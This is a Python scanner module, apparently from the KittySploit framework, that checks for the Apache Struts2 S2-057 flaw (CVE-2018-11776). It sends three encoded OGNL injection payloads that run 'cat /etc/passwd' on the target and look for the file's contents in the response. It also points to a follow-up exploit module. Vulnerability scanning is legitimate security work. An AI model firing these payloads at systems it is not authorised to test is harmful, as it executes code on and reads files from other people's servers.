Apache Struts2 S2-057 - Remote Code Execution Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts versions 2."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Apache Struts2 S2-057 - Remote Code Execution Detection',
        'description': "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace.",
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'packetstorm', 'apache', 'rce', 'struts', 'kev', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/multi/http/apache_struts2_cve_2018_11776_rce'],
            },
        },
        'references': [
            'https://github.com/jas502n/St2-057',
            'https://cwiki.apache.org/confluence/display/WW/S2-057',
            'https://security.netapp.com/advisory/ntap-20180822-0001/',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-11776',
            'http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html',
        ],
        'cve': 'CVE-2018-11776',
    }

    def run(self):
        for path in ('/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%[email protected]@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%[email protected]@getResponse%28%29.getOutputStream%28%29%29%29.%[email protected]@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action', '/%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29%29.%[email protected]@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action', '/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action'):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            body_regexes = ('root:.*:0:0:',)
            if any(re.search(rx, body) for rx in body_regexes):
                self.set_info(
                    severity='high',
                    reason='Apache Struts2 S2-057 - Remote Code Execution detected',
                    path=path,
                )
                return True
        return False